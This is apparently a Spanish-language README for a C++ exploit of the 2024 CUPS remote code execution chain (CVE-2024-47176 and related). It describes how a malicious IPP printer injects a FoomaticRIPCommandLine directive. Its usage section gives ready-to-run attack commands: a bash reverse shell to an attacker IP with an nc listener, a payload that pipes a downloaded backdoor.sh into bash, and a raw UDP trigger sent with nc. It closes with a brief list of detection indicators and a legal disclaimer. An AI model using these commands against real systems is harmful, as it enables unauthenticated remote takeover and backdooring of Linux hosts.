
Exploit en C++ para ejecución remota de código sin autenticación en CUPS mediante la cadena CVE-2024-47176.
Un exploit de prueba de concepto totalmente funcional dirigido a la cadena de vulnerabilidades de ejecución remota de código en CUPS (Common Unix Printing System) descubierta en septiembre de 2024. Esta cadena está compuesta por cuatro CVEs — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 y CVE-2024-47177 — que en conjunto permiten a un atacante remoto no autenticado ejecutar comandos arbitrarios en cualquier sistema Linux que ejecute una versión vulnerable de CUPS.
El exploit despliega un servidor IPP (Internet Printing Protocol) malicioso que simula una impresora de red. El ataque se desarrolla en cuatro etapas:
Etapa 1 — Disparador de Descubrimiento Se envía un paquete UDP manipulado al puerto 631 del objetivo. El daemon cups-browsed confía en este paquete sin autenticación e inicia una conexión TCP de vuelta al servidor IPP del atacante para obtener los atributos de la impresora.
Etapa 2 — Entrega de PPD Malicioso El servidor IPP del atacante responde con atributos de impresora que contienen datos sin sanear. Estos datos fluyen a través de libcupsfilters y libppd, que no validan ni sanean la entrada, lo que permite incrustar una directiva maliciosa FoomaticRIPCommandLine en un archivo PPD.
Etapa 3 — Inyección de Comandos Cuando se envía un trabajo de impresión a la impresora controlada por el atacante (ya sea automáticamente o por una acción del usuario), el filtro foomatic-rip procesa el archivo PPD y ejecuta el comando inyectado con los privilegios del usuario lp.
Etapa 4 — Ejecución del Payload El comando inyectado se ejecuta en el sistema objetivo. Los payloads más comunes incluyen shells inversas, instalación de backdoors, exfiltración de datos o preparación para escalada de privilegios.
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
La mayoría de las distribuciones Linux incluyeron versiones afectadas hasta los parches de finales de 2024.
Una máquina Linux con g++ y herramientas de desarrollo estándar Acceso de red al objetivo (el puerto UDP 631 debe ser accesible) El objetivo debe estar ejecutando cups-browsed escuchando en UDP 631 Se recomienda ser root o usar sudo para enlazar al puerto 631 (o usar un puerto alto como 1631)
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Sin dependencias externas. Compila en cualquier distribución Linux con g++.
./cups_rce_exploit -l <IP_ATACANTE> -r [opciones]
-l, --listener Dirección IP del atacante para el servidor IPP malicioso -r, --reverse Comando a ejecutar en el objetivo, o ruta a un archivo de script -t, --target IP de la máquina objetivo (envía el paquete UDP de disparo automáticamente) -p, --port Puerto para el servidor IPP malicioso (por defecto: 631) -s, --spoof Nombre de suplantación de la impresora (por defecto: VulnPrinter) -T, --target-port Puerto UDP del objetivo (por defecto: 631) -h, --help Muestra el mensaje de ayuda
Terminal 1 — iniciar el listener: nc -lvnp 4444
Terminal 2 — ejecutar el exploit: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
Terminal 1 — iniciar el servidor: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
Terminal 2 — enviar el disparo UDP al objetivo: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
Paso 1: Configura un listener de netcat en tu máquina atacante nc -lvnp 4444
Paso 2: Compila el exploit g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Paso 3: Ejecuta el exploit contra el objetivo ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
Paso 4: Si un usuario de la máquina objetivo imprime una página de prueba o cualquier documento en la impresora maliciosa, recibirás una shell inversa como el usuario lp.
Paquetes UDP inesperados en el puerto 631 que contienen cadenas URI de IPP Conexiones TCP salientes desde cups-browsed a hosts desconocidos en el puerto 631 Impresoras desconocidas que aparecen automáticamente en la interfaz web de CUPS Procesos iniciados por foomatic-rip o bajo el usuario lp
AVISO LEGAL
Este software se proporciona únicamente con fines educativos y de investigación. Está destinado a ayudar a profesionales de seguridad, pentesters y administradores de sistemas a comprender, detectar y defenderse de las vulnerabilidades descritas.
El uso no autorizado de este exploit contra sistemas que no posees o para los que no tienes permiso explícito por escrito para probar es ilegal y puede violar la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act y leyes similares en otras jurisdicciones.
Los casos de uso autorizados incluyen evaluaciones de seguridad en sistemas que posees, pruebas de penetración con autorización por escrito, programas de bug bounty con alcance explícito, investigación académica en entornos de laboratorio controlados y competiciones CTF.
El autor no asume ninguna responsabilidad por el mal uso o los daños causados por este software. Los usuarios son los únicos responsables del cumplimiento de todas las leyes aplicables y de obtener la autorización adecuada antes de realizar pruebas.
Al usar este software, aceptas estos términos.
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org